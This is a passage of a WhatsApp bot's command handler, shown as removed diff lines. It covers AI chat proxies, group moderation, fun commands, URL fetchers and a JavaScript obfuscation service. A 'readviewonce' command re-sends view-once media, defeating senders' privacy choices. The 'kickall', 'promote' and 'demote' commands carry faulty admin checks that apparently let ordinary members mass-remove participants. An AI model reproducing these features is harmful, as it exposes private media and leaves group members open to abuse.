-
- try {
- let apiUrl = `https://api.siputzx.my.id/api/ai/deepseek-llm-67b-chat?content=${encodeURIComponent(q)}`;
- let imageUrl = "https://huggingface.co/spaces/API-XX/TEST/resolve/main/Links/deepseek.jpg";
-
- let response = await fetch(apiUrl);
- let json = await response.json();
-
- if (!json.status || !json.data) {
- return reply("โ No response received. Try again later.");
- }
-
- let aiResponse = json.data;
-
- await conn.sendMessage(m.chat, {
- image: { url: imageUrl },
- caption: fontx(`๐ง *DeepSeek 67B AI Response*\n\n๐ฌ *Query:* ${q}\n๐ค *Response:* ${aiResponse}\n> ${caption}`),
- }, { quoted: m });
-
- } catch (error) {
- console.error("Error in deepseek2 case:", error);
- reply("โ An error occurred while processing your request. Please try again later.");
- }
- break;
-}
-case 'mistral': {
- if (!q) return reply(`โ Please enter a question or prompt.\n\nExample: *${prefix + command} What is AI?*`);
-
- await loading(); // Show loading animation
-
- try {
- let apiUrl = `https://api.siputzx.my.id/api/ai/mistral-7b-instruct-v0.2?content=${encodeURIComponent(q)}`;
- let imageUrl = "https://huggingface.co/spaces/API-XX/TEST/resolve/main/Links/mistral.jpg";
-
- let response = await fetch(apiUrl);
- let json = await response.json();
-
- if (!json.status || !json.data) {
- return reply("โ No response received. Try again later.");
- }
-
- let aiResponse = json.data;
-
- await conn.sendMessage(m.chat, {
- image: { url: imageUrl },
- caption: fontx(`๐ฌ๏ธ *Mistral 7B AI Response*\n\n๐ฌ *Query:* ${q}\n๐ค *Response:* ${aiResponse}\n> ${caption}`),
- }, { quoted: m });
-
- } catch (error) {
- console.error("Error in mistral case:", error);
- reply("โ An error occurred while processing your request. Please try again later.");
- }
- break;
-}
-case 'blackbox': {
- if (!q) return reply("โ Please enter a question or prompt.\n\nExample: .blackbox How do I code in JavaScript?");
- await loading();
-
- let apiUrl = `https://api.siputzx.my.id/api/ai/blackboxai-pro?content=${encodeURIComponent(q)}`;
- let imageUrl = "https://huggingface.co/spaces/API-XX/TEST/resolve/main/Links/blackbox.jpg";
-
- try {
- let response = await fetch(apiUrl);
- let json = await response.json();
-
- if (!json.status || !json.data) {
- return reply("โ No response received. Try again later.");
- }
-
- let aiResponse = json.data.replace(/\n\n<\/think>\n\n/, ''); // Remove unnecessary tags
-
- await conn.sendMessage(m.chat, {
- image: { url: imageUrl },
- caption: fontx(`๐ค *Blackbox AI Response*\n\n๐ฌ *Query:* ${q}\n๐ง *Response:* ${aiResponse}`)
- }, { quoted: m });
-
- } catch (error) {
- console.error("Error fetching Blackbox AI response:", error);
- reply("โ Error while processing your request. Try again later.");
- }
- break;
-}
- case 'mute': {
- if (!m.isGroup) return reply(mess.only.group);
- if (!isOwner && !isAdmins) return reply(mess.only.admin);
- if (!isBotAdmins) return reply(mess.only.Badmin);
- try {
- await loading()
- await conn.groupSettingUpdate(m.chat, 'announcement');
- reply(mess.success);
- } catch (err) {
- console.error(err);
- reply('Failed to mute the group. Please try again.');
- }
- break;
- }
- case 'unmute': {
- if (!m.isGroup) return reply(mess.only.group);
- if (!isOwner && !isAdmins) return reply(mess.only.admin);
- if (!isBotAdmins) return reply(mess.only.Badmin);
- try {
- await loading()
- await conn.groupSettingUpdate(m.chat, 'not_announcement');
- reply(mess.success);
- } catch (err) {
- console.error(err);
- reply('Failed to unmute the group. Please try again.');
- }
- break;
- }
-
- case 'tagme': {
- let menst = [sender]
- conn.sendMessage(from, {
- text: `@${senderNumber}`,
- mentions: menst
- })
- }
- break
- case 'kickall': {
- if (!isGroup && !isGroupAdmins) return reply(mess.only.group)
- if (!isBotGroupAdmins) return reply(mess.only.Badmin)
- const xeonkickall = (args[0] === 'numBut') ?
- q.replace(`${args[0]} `, '').split('|') :
- (Number(args[0])) ?
- groupMetadata.participants
- .filter(item => item.id.startsWith(args[0].replace('+', '')) && item.id !== botNumber && item.id !== `${botNumber}@s.whatsapp.net`)
- .map(item => item.id) :
- groupMetadata.participants
- .filter(item => item.id !== botNumber && item.id !== `${botNumber}@s.whatsapp.net`)
- .map(item => item.id);
- if (chat.welcome == false)
- db.data.chats[from].welcome = false
- for (let remove of xeonkickall) {
- await conn.groupParticipantsUpdate(m.chat, [(args[0] === "numBut") ? `${remove}@s.whatsapp.net` : remove], "remove");
- await sleep(100);
- }
- reply(mess.success);
- }
- break
- case 'setppgc': {
- if (!isGroup) return reply(mess.only.group)
- if (!isGroupAdmins) return reply(mess.only.admin)
- if (!isBotGroupAdmins) return reply(mess.only.Badmin)
- await loading()
- if (isImage || isQuotedImage) {
- let media = await conn.downloadAndSaveMediaMessage(quoted, makeid(5))
- await conn.updateProfilePicture(from, {
- url: media
- })
- .then(res => {
- reply(mess.success)
- fs.unlinkSync(media)
- }).catch(() => reply(mess.error.api))
- } else {
- reply(`Send/reply images with captions ${command}`)
- }
- }
- break
- case 'getppgc':
- if (!isGroup) return reply(mess.only.group)
- if (!isGroupAdmins) return reply(mess.only.admin)
- await loading()
- try {
- var ppimg = await conn.profilePictureUrl(from, 'image')
- } catch (err) {
- console.log(err)
- var ppimg = 'https://i0.wp.com/www.gambarunik.id/wp-content/uploads/2019/06/Top-Gambar-Foto-Profil-Kosong-Lucu-Tergokil-.jpg'
- }
- await conn.sendMessage(from, {
- image: {
- url: ppimg
- }
- }, {
- quoted: m
- })
- break
- case 'delppgc': {
- if (!isGroup) return reply(mess.only.group)
- if (!isGroupAdmins) return reply(mess.only.admin)
- if (!isBotGroupAdmins) return reply(mess.only.Badmin)
- await loading()
- await conn.removeProfilePicture(from)
- }
- break
- case 'invite': {
- if (!isGroup) return reply(mess.only.group);
- if (!isBotGroupAdmins) return reply(mess.only.Badmin);
- if (!text) return reply(`\`No WhatsApp number detected.\`\n*Example: ${prefix + command} 255734980103*`);
- if (text.includes('+')) return reply(`\`Input the WhatsApp number without *+*\``);
- if (isNaN(text)) return reply(`Please enter only numbers, including your country code, without spaces.`);
-
- let group = m.chat;
-
- try {
- let link = 'https://chat.whatsapp.com/' + await conn.groupInviteCode(group);
- await conn.sendMessage(`${text}@s.whatsapp.net`, {
- text: ` *๐๐๐๐๐ ๐๐๐๐๐๐ผ๐๐๐๐ ๐๐๐๐*\n*\`๐๐พ๐ ๐ฐ๐๐ด ๐ธ๐ฝ๐
๐ธ๐๐ด๐ณ ๐๐พ ๐น๐พ๐ธ๐ฝ: ${groupMetadata.subject}\`*\n*๐ป๐ธ๐ฝ๐บ:* ${link}`
- });
-
- reply("*Group invitation link successfully sent.*");
- } catch (error) {
- console.error("Error in invite case:", error);
- reply("Failed to send the invite link. Please check the number and try again.");
- }
-
- break;
- }
- case 'gcinfo': {
- if (!isGroup) return reply(mess.only.group)
- await loading()
- let _meta = await conn.groupMetadata(from)
- console.log(_meta)
- let _img = await conn.profilePictureUrl(_meta.id, 'image')
-
- let caption = `*G R O U P I N F O*
-
-
-Anti Link : *${isAntiLink ? 'ACTIVEโ
' : 'UNACTIVEโ'}*
-Anti Virtex : *${isAntiVirtex ? 'ACTIVEโ
' : 'UNACTIVEโ'}*
-Anti Delete : *${isAntidelete ? 'ACTIVEโ
' : 'UNACTIVEโ'}*
-Anti ViewOnce : *${isAntiViewOnce ? 'ACTIVEโ
' : 'UNACTIVEโ'}*
-Anti Toxic : *${isAntiToxic ? 'ACTIVEโ
' : 'UNACTIVEโ'}*
-
-
-โญ *Name :* ${_meta.subject}
-โญ *Group ID :* ${_meta.id}
-โญ *Created on :* ${moment(_meta.creation * 1000).format('ll')}
-โญ *GC owner:* ${_meta.subjectOwner}
-โญ *Admins length:* ${_meta.participants.filter(x => x.admin === 'admin').length}
-โญ *participants length:* ${_meta.participants.filter(x => x.admin === null).length}
-โญ *Desc :*
-${_meta.desc}`
-
- await conn.sendMessage(from, {
- caption,
- image: await getBuffer(_img)
- }, {
- quoted: fcall
- })
- }
- break;
- case 'revoke':
- case 'resetgclink': {
- if (!isGroup) return reply(mess.only.group)
- if (!isOwner && !isGroupAdmins) return reply(mess.only.admin)
- if (!isBotGroupAdmins) return reply(mess.only.Badmin)
- conn.groupRevokeInvite(from)
- }
- break
- case 'antilink': {
- if (!isGroup) return reply(mess.only.group)
- if (!isGroupAdmins && !isOwner) return reply(mess.only.admin)
- await loading()
- if ((args[0]) === 'on' || (args[0]) === 'enable' || (args[0]) === '1') {
- if (isAntiLink) return reply('the feature is already active.')
- db.data.chats[from].antilink = true
- let ih = `the antilink feature has been activated.`
- reply(ih)
- } else if ((args[0]) === 'off' || (args[0]) === 'disable' || (args[0]) === '0') {
- if (!isAntiLink) return reply('the antilink feature is already off.')
- db.data.chats[from].antilink = false
- let ih = `the antilink feature has been deactivated.`
- reply(ih)
- } else if (!q) {
- reply(`*anti link mode*\n ${prefix + command} on/off`)
- }
- }
- break;
-
-
-
-
- case 'text2img': {
- if (!q) return reply(`Please provide a prompt.\n\nExample: *${prefix + command} a big dog and a tiny cat*`);
-
- await loading();
-
- try {
- let imageUrl = `https://api-xx-xi.hf.space/api/text2img?prompt=${encodeURIComponent(q)}`;
-
- await conn.sendMessage(m.chat, {
- image: {
- url: imageUrl
- },
- caption: fontx(`๐ผ๏ธ *Generated Image*\n\n๐ *Prompt:* ${q}\n> ${caption}`),
- }, {
- quoted: m
- });
-
- } catch (error) {
- console.error("Error in text2img case:", error);
- reply("โ An error occurred while generating the image. Please try again later.");
- }
- break;
- }
- case 'tts':
- case 'say': {
- if (!q) {
- return reply(`\`Please provide text to convert to speech.\`\n\n*Example:*\n${prefix + command} hello`);
- }
-
- try {
- await loading();
- const apiUrl = `https://bk9.fun/tools/tts?q=${encodeURIComponent(q)}&lang=en`;
- const response = await fetch(apiUrl);
- if (!response.ok) {
- return reply("Failed to process your request. Please try again later.");
- }
- await conn.sendMessage(from, {
- audio: {
- url: apiUrl
- },
- mimetype: "audio/mp4",
- fileName: `tts_${Date.now()}.mp3`,
- ptt: true, // Send as a voice note
- }, {
- quoted: m
- });
-
- } catch (error) {
- console.error("Error in TTS case:", error);
- reply("An error occurred while processing your request. Please try again later.");
- }
- break;
- }
- case "vv":
- case "readviewonce": {
- if (!isOwner) return reply(mess.only.owner);
-
- if (!quoted) return reply("reply to a view-once message!");
-
- let msg = quoted;
- let msgType = Object.keys(msg)[0];
-
- if (!msg[msgType]?.viewOnce) return reply("this isn't a view-once message!");
- await loading();
- try {
- let media = await downloadMediaMessage(
- msg[msgType],
- msgType === "imageMessage" ? "image" :
- msgType === "videoMessage" ? "video" :
- "audio"
- );
-
- if (!media) return reply("Failed to retrieve the media.");
-
- let originalCaption = msg[msgType]?.caption || "No caption";
- let formattedCaption = originalCaption.split("\n").map(line => `> ${line}`).join("\n");
-
- let finalCaption = `> ${caption}`;
-
- if (/video/.test(msgType)) {
- await conn.sendMessage(chat, {
- video: media,
- caption: finalCaption
- }, {
- quoted: mess
- });
- } else if (/image/.test(msgType)) {
- await conn.sendMessage(chat, {
- image: media,
- caption: finalCaption
- }, {
- quoted: mess
- });
- } else if (/audio/.test(msgType)) {
- await conn.sendMessage(chat, {
- audio: media,
- mimetype: "audio/mpeg",
- ptt: true
- }, {
- quoted: mess
- });
- }
-
- } catch (error) {
- console.error("โ Error retrieving View Once message:", error);
- return reply("Failed to retrieve the View Once message.");
- }
- }
- break;
- case 'qr': {
- if (!q) return reply("Please provide text or a link to generate a QR code.");
- await loading();
- const apiUrl = `https://api.qrserver.com/v1/create-qr-code/?size=300x300&data=${encodeURIComponent(q)}`;
-
- await conn.sendMessage(m.chat, {
- image: {
- url: apiUrl
- },
- caption: `โ
*QR Code Generated*\n๐ Data: ${q}`
- }, {
- quoted: m
- });
-
- break;
- }
- case 'script':
- case 'repo':
- case 'sc': {
- try {
- await loading();
- await loading();
- const zipUrl = 'https://github.com/BLUEXDEMONl/BLUEXDEMON-V5/archive/refs/heads/master.zip';
-
- const response = await fetch(zipUrl);
-
- if (!response.ok) {
- return reply(`*Failed to download the repository.*\nReason: ${response.statusText}`);
- }
-
- const zipBuffer = await response.buffer();
- await conn.sendMessage(m.chat, {
- document: zipBuffer,
- mimetype: 'application/zip',
- fileName: 'BLUE-DEMON-V5.zip',
- caption: `*REPO LINK*: https://github.com/BLUEXDEMONl/BLUEXDEMON-V5.git\n*CHANNEL*: https://whatsapp.com/channel/0029Vah3fKtCnA7oMPTPJm1h`,
- }, {
- quoted: m
- });
-
- } catch (e) {
- console.error('Error in script case:', e);
- reply('An error occurred while fetching the script. Please try again later.');
- }
- break;
- }
- case 'ssweb': {
- if (!q) return reply("Please provide a valid URL.\nExample: *" + prefix + command + " https://example.com*");
- await loading();
- try {
- let apiUrl = `https://api-xx-xi.hf.space/api/screenshot?url=${encodeURIComponent(q)}`;
- await conn.sendMessage(m.chat, {
- image: {
- url: apiUrl
- },
- caption: fontx(`๐ฅ๏ธ Screenshot of: `) + q
- }, {
- quoted: m
- });
- } catch (error) {
- console.error("Error in ssweb case:", error);
- conn.sendMessage(m.chat, {
- text: "โ Failed to capture screenshot. Please try again later."
- });
- }
- break;
- }
- case 'welcome': {
- if (!isGroup) return reply(mess.only.group)
- if (!isAdmins && !isOwner) return reply(mess.only.admin)
- if (!q) return reply("Enter the query 'on' or 'off'");
- await loading()
- if (q == 'on') {
- if (chat.welcome == true) return reply('Welcome is already active');
- db.data.chats[from].welcome = true;
- reply('successfully activated welcome in this group');
- } else if (q == 'off') {
- if (chat.welcome == false) return reply('welcome is already inactive');
- db.data.chats[from].welcome = false;
- reply('successfully deactivated welcome in this group');
- } else reply('Choose "on" or "off"');
- }
- break;
- case 'encrypt':
- case 'obfuscate':
- case 'hard-encrypt': {
- if (!text) return reply(`\`No JavaScript code detected\`\n*Example:* ${prefix + command} console.log('blue demon');`);
-
- await loading();
-
- try {
- const apiUrl = `https://api-xx-xi.hf.space/api/obf?code=${encodeURIComponent(text)}`;
- const response = await fetch(apiUrl);
-
- if (!response.ok) {
- console.error(`API returned status: ${response.status} ${response.message}`);
- return reply("Failed to connect to the obfuscation service. Please try again later.");
- }
-
- const res = await response.json();
-
- if (res.status !== 200 || !res.success) {
- console.error(`API error: ${JSON.stringify(res)}`);
- return reply("Failed to obfuscate the provided code. Please ensure the code is valid and try again.");
- }
-
- const encryptedCode = res.obfuscatedCode;
- const tempFilePath = './blue-enc.js';
-
- const fs = require('fs');
- fs.writeFileSync(tempFilePath, encryptedCode, 'utf8');
-
- await conn.sendMessage(m.chat, {
- document: {
- url: tempFilePath
- },
- mimetype: 'application/javascript',
- fileName: 'BLUE-ENC.js',
- caption: fontx(`> ${caption}`),
- }, {
- quoted: m
- });
-
- fs.unlinkSync(tempFilePath);
- } catch (error) {
- console.error("Error in obfuscate case:", error.message || error);
- reply("An error occurred while processing your request. Please try again later.");
- }
- break;
- }
- case 'getdevice':
- case 'device':
- case 'phone': {
- if (!m.quoted) return reply(`Please reply to a chat message with *${prefix + command}* to get device information.`);
- try {
- await loading();
- const deviceInfo = await getDevice(m.quoted.id || m.key.id);
- if (!deviceInfo) return reply("Unable to fetch device information. Please try again later.");
- await conn.sendMessage(m.chat, {
- text: fontx(`๐ฑ *\`device type\`* *${deviceInfo}*`),
- }, {
- quoted: m
- });
- } catch (error) {
- reply("An error occurred while fetching the device information. Please try again later.");
- }
- break;
- }
- case 'html': {
- if (!q) return reply("Please provide a valid link to fetch.");
-
- const isValidUrl = (url) => {
- try {
- new URL(url);
- return true;
- } catch (err) {
- return false;
- }
- };
-
- if (!isValidUrl(q)) return reply("Invalid URL. Please provide a proper link.");
-
- try {
- await loading();
- const response = await fetch(q);
-
- if (!response.ok) {
- return reply(`โ Failed to fetch the link. Server responded with status: ${response.status}`);
- }
-
- const html = await response.text();
- const fileName = `Blue_result.html`;
-
- await conn.sendMessage(m.chat, {
- document: Buffer.from(html, 'utf-8'),
- mimetype: 'text/html',
- fileName: fileName,
- caption: `๐ *Fetched HTML Page*\n๐ *URL:* ${q}`
- });
-
- } catch (error) {
- console.error("Error in get case:", error);
- reply("โ An error occurred while fetching the link. Please try again later.");
- }
- break;
- }
- case 'get': {
- if (!q) return reply("Please provide a valid link to fetch.");
- const isValidUrl = (url) => {
- try {
- new URL(url);
- return true;
- } catch (err) {
- return false;
- }
- };
-
- if (!isValidUrl(q)) return reply("Invalid URL. Please provide a proper link.");
-
- try {
- await loading();
- const response = await fetch(q);
- if (!response.ok) {
- return reply(`Failed to fetch the link. Server responded with status: ${response.status}`);
- }
-
- const html = await response.text();
- const maxLength = 700000;
- const output = html.length > maxLength ?
- html.slice(0, maxLength) + `\n\n*Output truncated. Full content exceeds ${maxLength} characters.*` :
- html;
-
- replyx(`${output}`);
- } catch (error) {
- console.error("Error in get case:", error);
- reply("An error occurred while fetching the link. Please try again later.");
- }
- break;
- }
- case 'fetch': {
- if (!q) return reply(`\`No link detected\`\nExample: *${prefix + command} https://example.com/media.mp4*`);
- await loading();
- try {
- let url = q.trim();
- let response = await fetch(url, {
- method: 'HEAD'
- });
-
- if (!response.ok) {
- return conn.sendMessage(m.chat, {
- text: `โ *Failed to fetch the link.*\nStatus: ${response.status}`
- });
- }
-
- let contentType = response.headers.get('content-type') || '';
- let filename = url.split('/').pop().split('?')[0];
-
- let messageOptions = {
- caption: `๐ *Fetched Content*\n๐ *Filename:* ${filename}`
- };
-
- if (contentType.includes('image')) {
- conn.sendMessage(m.chat, {
- image: {
- url
- },
- ...messageOptions
- });
- } else if (contentType.includes('video')) {
- conn.sendMessage(m.chat, {
- video: {
- url
- },
- ...messageOptions
- });
- } else if (contentType.includes('audio')) {
- conn.sendMessage(m.chat, {
- audio: {
- url
- },
- mimetype: 'audio/mpeg',
- ...messageOptions
- });
- } else {
- conn.sendMessage(m.chat, {
- document: {
- url
- },
- mimetype: contentType || 'application/octet-stream',
- fileName: filename,
- ...messageOptions
- });
- }
-
- } catch (error) {
- console.error("Error in fetch case:", error);
- conn.sendMessage(m.chat, {
- text: "โ An error occurred while fetching the content. Please try again later."
- });
- }
- break;
- }
- case 'gross': {
- const grossEmojis = [
- '๐คข', '๐คฎ', '๐', '๐ซ', '๐คข๐คข', '๐คฎ๐คฎ', '๐ตโ๐ซ', '๐คง', '๐คข๐คฎ', '๐ท',
- '๐คข๐คข๐คฎ', '๐คฎ๐คฎ๐คฎ', '๐คข๐คข๐คข', '๐คฎ๐คข๐คฎ', '๐ต', '๐ค', '๐ค', '๐คข๐คฎ๐คข', '๐คฎ๐ซ๐คข', '๐คฎ๐คข๐ต'
- ];
-
- const grossMsg = await conn.sendMessage(m.chat, {
- text: fontx(grossEmojis[0])
- }, {
- quoted: m
- });
-
- const updateMessage = async (index = 1) => {
- if (index < grossEmojis.length) {
- await conn.relayMessage(m.chat, {
- protocolMessage: {
- key: grossMsg.key,
- type: 14,
- editedMessage: {
- conversation: fontx(grossEmojis[index])
- }
- }
- }, {});
- setTimeout(() => updateMessage(index + 1), 1000);
- }
- };
-
- setTimeout(() => updateMessage(), 1000);
- break;
- }
- case 'love': {
- const heartEmojis = [
- 'โฅ๏ธ', 'โฃ๏ธ', '๐', '๐', '๐', '๐', '๐', '๐', '๐', 'โค๏ธโ๐ฅ',
- 'โค๏ธ', '๐งก', '๐', '๐', '๐', '๐', '๐ค', '๐ค', '๐ค', '๐',
- '๐ซ', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐'
- ];
- const loveMsg = await conn.sendMessage(m.chat, {
- text: heartEmojis[0]
- }, {
- quoted: m
- });
- const updateMessage = async (index = 1) => {
- if (index < heartEmojis.length) {
- await conn.relayMessage(m.chat, {
- protocolMessage: {
- key: loveMsg.key,
- type: 14,
- editedMessage: {
- conversation: heartEmojis[index]
- }
- }
- }, {});
- setTimeout(() => updateMessage(index + 1), 1000);
- }
- };
- setTimeout(() => updateMessage(), 1000);
- break;
- }
- case 'confuse':
- case 'conf': {
- const confusedEmojis = [
- '๐', '๐ค', '๐ต', '๐ตโ๐ซ', '๐คท', '๐คทโโ๏ธ', '๐คทโโ๏ธ', '๐ฎโ๐จ', '๐', '๐คจ',
- '๐', '๐ฌ', '๐ฏ', '๐', '๐', '๐ณ', '๐คช', '๐คฏ'
- ];
-
- const confuseMsg = await conn.sendMessage(m.chat, {
- text: confusedEmojis[0]
- }, {
- quoted: m
- });
- const updateMessage = async (index = 1) => {
- if (index < confusedEmojis.length) {
- await conn.relayMessage(m.chat, {
- protocolMessage: {
- key: confuseMsg.key,
- type: 14,
- editedMessage: {
- conversation: confusedEmojis[index]
- }
- }
- }, {});
- setTimeout(() => updateMessage(index + 1), 1000);
- }
- };
- setTimeout(() => updateMessage(), 1000);
- break;
- }
- case 'angry':
- case 'gtf': {
- const angryEmojis = [
- '๐ก', '๐ ', '๐คฌ', '๐ฟ', '๐ข', '๐ฅ', '๐พ', '๐ค', '๐คฏ', '๐ฅ',
- '๐พ', '๐บ', '๐', '๐ฏ๏ธ', '๐', '๐', '๐ฅต', '๐งจ', '๐น', '๐ฃ',
- '๐ ', '๐', '๐ฅ', '๐ก', '๐คฌ', '๐ฅ', '๐๐ฝ'
- ];
-
- const angryMsg = await conn.sendMessage(m.chat, {
- text: angryEmojis[0]
- }, {
- quoted: m
- });
- const updateMessage = async (index = 1) => {
- if (index < angryEmojis.length) {
- await conn.relayMessage(m.chat, {
- protocolMessage: {
- key: angryMsg.key,
- type: 14,
- editedMessage: {
- conversation: angryEmojis[index]
- }
- }
- }, {});
- setTimeout(() => updateMessage(index + 1), 1000);
- }
- };
- setTimeout(() => updateMessage(), 1000);
- break;
- }
- case 'flirt': {
- await loading();
- try {
- let response = await fetch('https://api-xx-xi.hf.space/api/flirt');
- let json = await response.json();
-
- if (!json.success) {
- return reply(fontx("Failed to fetch a flirt line. Please try again later."));
- }
-
- let {
- flirt
- } = json;
-
- conn.sendMessage(m.chat, {
- text: fontx(`๐ *Flirty Line:*\n\nโ ${flirt} โ\n> ${caption}`)
- });
- } catch (error) {
- console.error("Error in flirt case:", error);
- reply(fontx("An error occurred while fetching the flirt line. Please try again later."));
- }
- break;
- }
- case 'joke': {
- await loading();
- try {
- let response = await fetch('https://api-xx-xi.hf.space/api/joke');
- let json = await response.json();
-
- if (!json.success) {
- return reply(fontx("Failed to fetch a joke. Please try again later."));
- }
-
- let {
- joke
- } = json;
-
- conn.sendMessage(m.chat, {
- text: fontx(`๐ *Here's a joke for you!*\n\nโ ${joke} โ\n> ${caption}`)
- });
- } catch (error) {
- console.error("Error in joke case:", error);
- reply(fontx("An error occurred while fetching the joke. Please try again later."));
- }
- break;
- }
- case 'truth': {
- await loading();
- try {
- let response = await fetch('https://api-xx-xi.hf.space/api/truth');
- let json = await response.json();
-
- if (!json.success) {
- return reply(fontx("Failed to fetch a truth question. Please try again later."));
- }
-
- let {
- truth
- } = json;
-
- conn.sendMessage(m.chat, {
- text: fontx(`๐ *Truth Question*\n\nโ ${truth} โ\n> ${caption}`)
- });
- } catch (error) {
- console.error("Error in truth case:", error);
- reply(fontx("An error occurred while fetching the truth question. Please try again later."));
- }
- break;
- }
-
- case 'dare': {
- await loading();
- try {
- let response = await fetch('https://api-xx-xi.hf.space/api/dare');
- let json = await response.json();
-
- if (!json.success) {
- return reply(fontx("Failed to fetch a dare challenge. Please try again later."));
- }
-
- let {
- dare
- } = json;
-
- conn.sendMessage(m.chat, {
- text: fontx(`๐ฅ *Dare Challenge*\n\nโ ${dare} โ\n> ${caption}`)
- });
- } catch (error) {
- console.error("Error in dare case:", error);
- reply(fontx("An error occurred while fetching the dare challenge. Please try again later."));
- }
- break;
- }
- case 'rizz':
- case 'pickupline': {
- await loading();
- try {
- let response = await fetch('https://api-xx-xi.hf.space/api/rizz');
- let json = await response.json();
-
- if (!json.success) {
- return reply(fontx("Failed to fetch a rizz line. Please try again later."));
- }
-
- let {
- rizz
- } = json;
-
- conn.sendMessage(m.chat, {
- text: fontx(`๐ *Rizz Line*\n\nโ ${rizz} โ\n> ${caption}`)
- });
- } catch (error) {
- console.error("Error in rizz case:", error);
- reply(fontx("An error occurred while fetching the rizz line. Please try again later."));
- }
- break;
- }
-
- case 'quote': {
- await loading();
- try {
- let response = await fetch('https://api-xx-xi.hf.space/api/quote');
- let json = await response.json();
-
- if (!json.success) {
- return reply(fontx("Failed to fetch a quote. Please try again later."));
- }
-
- let {
- Author,
- quote
- } = json;
-
- conn.sendMessage(m.chat, {
- text: fontx(`๐ *Quote of the Day*\n\nโ ${quote} โ\n\nโ *${Author}*\n> ${caption}`)
- });
- } catch (error) {
- console.error("Error in quote case:", error);
- reply(fontx("An error occurred while fetching the quote. Please try again later."));
- }
- break;
- }
- case 'aniquote':
- case 'animequote': {
- await loading();
- try {
- let apiUrl = `https://api-xx-xi.hf.space/api/aniquote`;
- let response = await fetch(apiUrl);
- let json = await response.json();
-
- if (!json.success) {
- return conn.sendMessage(m.chat, {
- text: "โ Failed to fetch an anime quote. Please try again later."
- });
- }
- let {
- author,
- anime,
- quote
- } = json;
- conn.sendMessage(m.chat, {
- text: fontx(`๐ *Anime Quote*\n\n๐ฌ *Quote:* "${quote}"\n๐ค *Author:* ${author}\n๐บ *Anime:* ${anime}\n> ${caption}`)
- }, {
- quoted: m
- });
- } catch (error) {
- console.error("Error in aniquote case:", error);
- conn.sendMessage(m.chat, {
- text: "โ An error occurred while fetching the quote. Please try again later."
- });
- }
- break;
- }
- case 'antivirtex': {
- if (!isGroup) return reply(mess.only.group);
- if (!isGroupAdmins) return reply(mess.only.admin);
- if (!isBotGroupAdmins) return reply(mess.only.Badmin);
- await loading()
- const mode = args[0]?.toLowerCase();
- if (["on", "enable", "1"].includes(mode)) {
- if (isAntiVirtex) return reply("antivirtex is already enabled!");
- db.data.chats[from].antivirtex = true;
- reply("successfully enabled antivirtex!");
- } else if (["off", "disable", "0"].includes(mode)) {
- if (!isAntiVirtex) return reply("Antivirtex Is Already Disabled!");
- db.data.chats[from].antivirtex = false;
- reply("successfully disabled antivirtex!");
- } else {
- reply(`*anti virtex mode*\nUsage: ${prefix + command} on/off`);
- }
- break;
- }
- case 'promote':
- if (!isGroup && !isGroupAdmins) return reply(mess.only.group)
- if (!isBotGroupAdmins) return reply(mess.only.Badmin)
- await loading()
- let xxp = m.mentionedJid[0] ? m.mentionedJid[0] : m.quoted ? m.quoted.sender : q.replace(/[^0-9]/g, '') + '@s.whatsapp.net'
- await conn.groupParticipantsUpdate(m.chat, [xxp], 'promote')
- reply(mess.success)
- break
- case 'demote':
- if (!isGroup && !isGroupAdmins) return reply(mess.only.group)
- if (!isBotGroupAdmins) return reply(mess.only.Badmin)
- await loading()
- let xxpx = m.mentionedJid[0] ? m.mentionedJid[0] : m.quoted ? m.quoted.sender : q.replace(/[^0-9]/g, '') + '@s.whatsapp.net'
- await conn.groupParticipantsUpdate(m.chat, [xxpx], 'demote')
- reply(mess.success)
- break
- case 'gclink': {
- if (!isGroup) return reply(mess.only.group);
- if (!isGroupAdmins) return reply(mess.only.admin);
- if (!isBotGroupAdmins) return reply(mess.only.Badmin);
- let response = await conn.groupInviteCode(from)
- conn.sendText(from, `https://chat.whatsapp.com/${response}\n\n${themeemoji} *Group link: ${groupMetadata.subject}*`, m, {
- detectLink: true
- })
- }
- break;
- case 'leavegc':
- if (!isGroup) return reply(mess.only.group)
- if (!isOwner) return reply(mess.only.owner)
- await loading()
- await conn.groupLeave(from)
- break;
-case 'listonline': {
- if (!isGroup) return reply(mess.only.group);
- if (!isAdmins && !isOwner) return reply(mess.only.admin);
- let id = args && /\d+-\d+@g.us/.test(args[0]) ? args[0] : from;
- let online = [...Object.keys(store.presences[id]), botNumber];
- let onlineListMessage = 'List Online:\n\n' + online
- .map(v => `${themeemoji} @${v.replace(/@.+/, '')}`)
- .join('\n'); await conn.sendText(from, onlineListMessage, m, {
- mentions: online
- });
- }
- break;
- case 'opentime': {
- if (!isGroup) return reply(mess.only.group);
- if (!isGroupAdmins) return reply(mess.only.admin);
- if (!isBotGroupAdmins) return reply(mess.only.Badmin);
-
- if (args[1] == "seconds") {
- var timer = args[0] * `1000`;
- } else if (args[1] == "minutes") {
- var timer = args[0] * `60000`;
- } else if (args[1] == "hours") {
- var timer = args[0] * `3600000`;
- } else if (args[1] == "days") {
- var timer = args[0] * `86400000`;
- } else {
- return reply("*Choose:*\nseconds\nminutes\nhours\ndays\n\n*Example:*\n10 seconds");
- }
-
- reply(`Open time ${q} starts now`);
- setTimeout(() => {
- const open = fontx(`*On time*: The group is now opened by an admin\nMembers can now send messages\n> ${caption}`);
- conn.groupSettingUpdate(from, 'not_announcement');
- reply(open);
- }, timer);
- break;
- }
-
- case 'closetime': {
- if (!isGroup) return reply(mess.only.group);
- if (!isGroupAdmins) return reply(mess.only.admin);
- if (!isBotGroupAdmins) return reply(mess.only.Badmin);
-
- if (args[1] == "seconds") {
- var timer = args[0] * `1000`;
- } else if (args[1] == "minutes") {
- var timer = args[0] * `60000`;
- } else if (args[1] == "hours") {
- var timer = args[0] * `3600000`;
- } else if (args[1] == "days") {
- var timer = args[0] * `86400000`;
- } else {
- return reply(`Example: ${prefix}closetime 5 seconds`);
- }
-
- let ko = await conn.sendMessage(from, {
- text: `Close time ${q} starts now`
- }, {
- quoted: m
- });
- setTimeout(() => deleteMessage(ko), 5000);
-
- setTimeout(() => {
- const close = fontx(`*On time*: The group is now closed by an admin\nOnly admins can send messages\n> ${caption}`);
- conn.groupSettingUpdate(from, 'announcement');
- reply(close);
- }, timer);
- }
- break;
-case 'tagadmin':
- case 'listadmin': {
- if (!m.isGroup) return reply(mess.only.group)
- const groupAdmins = participants.filter(p => p.admin)
- const listAdmin = groupAdmins.map((v, i) => `${i + 1}. @${v.id.split('@')[0]}`).join('\n')
- const owner = groupMetadata.owner || groupAdmins.find(p => p.admin === 'superadmin')?.id || m.chat.split`-` [0] + '@s.whatsapp.net'
- let text = fontx(`
-*Group Admins:*
-${listAdmin}
